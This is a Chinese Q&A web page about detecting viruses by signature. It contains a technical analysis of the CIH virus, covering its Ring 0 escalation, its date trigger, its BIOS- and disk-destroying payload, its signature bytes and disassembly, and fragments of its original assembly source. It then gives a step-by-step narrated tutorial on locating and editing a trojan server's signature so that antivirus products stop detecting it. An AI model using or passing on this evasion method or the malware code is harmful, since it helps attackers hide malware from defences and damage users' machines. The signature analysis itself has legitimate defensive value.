关于特征码识别计算机病毒方法

如题所述

病毒的产生速度很快,依然有很多病毒没有被识别.但是现在主要还是用特征码来识别病毒,一般的杀毒软件都是用类似特征码来识别并查杀病毒。
第一节 特点
病毒绕过了微软提供的应用程序界面,绕过了ActiveX、C++甚至C,使用汇编,
利用VxD(虚拟设备驱动程序)接口编程,直接杀入Windows内核。它没有改变宿主文件
的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack),
将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多
BIOS芯片开放了可重写的特性,向计算机主板的BIOS端口写入乱码,开创了病毒直接进
攻计算机主板芯片的先例。可以说CIH病毒提供了一种全新的病毒程序方式和病毒发展方向。
第二节 CIH病毒的初始化
1.用SIDT指令取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
2.执行INT 3指令,进入CIH自身的INT 3入口程序,这样,CIH病毒就可以获得Windows最高级别的权限(Ring 0级),可在Windows的内核执行各种操作(如终止系统运行,直接对内存读写、截获各种中断、控制I/O端口等,这些操作在应用程序层Ring 3级是受到严格
限制的)。病毒在这段程序中首先检查调试寄存器DR0的值是否为0,用以判断先前是否有CIH病毒已经驻留。
3.如果DR0的值不为0,则表示CIH病毒程式已驻留,病毒程序恢复原先的INT 3入口,然后正常退出INT3,跳到过程9;
4.如果DR0值为0,则CIH病毒将尝试进行驻留。首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,请求系统分配2个PAGE大小的Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存。
5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合后放到申请到的内存空间中;
6.再次调用INT 3中断进入CIH病毒体的INT 3入口程序,调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,在Windows内核中文件系统处理函数中挂接钩子,以截取文件调用的操作,这样一旦系统出现要求开启文件的调用,则CIH病毒的传染部分程序就会在第一时间截获此文件;
7.将同时获取的Windows默认的IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入口地址保留在DR0寄存器中,以便于CIH病毒调用;
8.恢复原先的IDT中断表中的INT 3入口,退出INT 3;
9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常

第三节 病毒发作条件判断

在CIHv1.4中,病毒的发作日期是4月26日,病毒从COMS的70、71端口取出系统当前日期,对其进行判断:

MOV AX,0708
OUT 70,AL
IN AL,71 取当前系统月份->AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取当前系统日->AL
XOR AX,0426 是否为4月26日
JZ 病毒发作程序

之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。
第四节 病毒的破坏
1.通过主板的BIOS端口地址0CFEH和0CFDH向BIOS引导块(boot block)内各写入一个字节的乱码,造成主机无法启动。
随着闪存(FlashMemory)价格的下跌,奔腾机器上BIOS普遍采用PROM(可编程只读存储器),它可以在12伏以下的电压下利用软件的方式,从BIOS端口中读出和写入数据,以便于进行程序的升级。CIH病毒正是利用闪存的这一特性,往BIOS里写入乱码,造成BIOS中的原内容被会彻底破坏,主机无法启动。
所幸的是,CIH只能对少数类型的主板BIOS构成威胁。这是因为,BIOS的软件更新是通过直接写端口实现的,而不同主
板的BIOS端口地址各不相同。现在出现的CIH只有1K,程序量太小,还不可能存储大量的主板和BIOS端口数据。它只对
端口地址为0CFEH和0CFD的BIOS(据有关资料为Intel 430TX chipset、部分Pentium chipsets)进行攻击
2.覆盖硬盘
通过调用Vxd call IOS_SendCommand直接对硬盘进行存取,将垃圾代码以2048个扇区为单位,从硬盘主引导区开始依
次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。

特征码:
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83

偏移位置:0x240

特码长度:0x40

反汇编代码:

00400240 > 55 PUSH EBP
00400241 8D4424 F8 LEA EAX,DWORD PTR SS:[ESP-8]
00400245 33DB XOR EBX,EBX
00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX
0040024A E8 00000000 CALL Win95_ci.0040024F
0040024F 5B POP EBX
00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]
00400253 51 PUSH ECX
00400254 50 PUSH EAX
00400255 50 PUSH EAX
00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] ; 用SIDT指令取得IDT base address(中断描述符表基地址),
; 然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分;
0040025B 5B POP EBX
0040025C 83C3 1C ADD EBX,1C
0040025F FA CLI
00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]
00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]
00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]
00400269 56 PUSH ESI
0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI
0040026E C1EE 10 SHR ESI,10
00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI
00400275 5E POP ESI
00400276 CC INT3 ; 执行INT 3指令,进入CIH自身的INT 3入口程序,获得权限(Ring 0级),
00400277 56 PUSH ESI
00400278 8BF0 MOV ESI,EAX
0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]
0040027D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040027F 83E8 08 SUB EAX,8
与1.3版本匹配,源病毒初始代码如下:

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; *************************************
pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException

ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

; *************************************
; * Generate Exception Again *
; *************************************

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

; *************************************
; * Return Original App to Execute *
; *************************************

文档:

http://www.yuanmawang.com/Download.asp?ID=5543&sID=1

音频:

http://download1.77169.com/donghua/other/12-11.zip

今天讲一下怎么改病毒的特征码,让它不被杀毒软件杀掉,就拿hgzvip1.2没有配置的服务端为例子

现在能被金山认识出来!

一般从程序的入口开始找特征码
4bdf68是内存的虚拟地址
bd368就是文件的相对偏移地址

现在查不出了,就说明特征码就在刚在的那一片
刚才我们填充的是120,现在就取它的一半90

范围更小了
再取90的一半
哈,范围更小了
再取48的一半
运气真好,就是这一段了,我们可以把范围更精确一点
有毒,说明不是这一段,go on,go on,go on,
查不到了,就说明是从bd376这里左右开始的
反编译原来的文件看一下,搞错了,应该用原来的文件

我们就从这里改,先看懂这里程序的意思
xor eax,eax 是把eax清为0
那么后面的两句程序的意思也是把内存地址清0,就是这两句。
我们把它的先后顺序换一下就可以了,这两句就ec和e8不同,我们换一下它们的先后顺序。
对应的文件就是这里,查一下还会不会被金山认出,哈哈,它不认识了!
但是还会被kv认出,所以我们得继续,把kv识别的特征也得改了,
方法和这里是一样的,我就不继续了。
关键点在于找到特征码之后,不能乱改,一定要把程序的意思看懂了,不然程序可能出错的。

参考资料:http://blog.csdn.net/lost_hunter/archive/2007/04/10/1559275.aspx

温馨提示:答案为网友推荐,仅供参考
第1个回答  2011-06-24
把各种病毒的特征码记会,再把各文件反编译,再看看哪个文件的代码像某个病毒,就可以人工特征码手工查毒了。估计只有傻子才会这样做
第2个回答  2011-06-22
到黑客网学习吧!

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网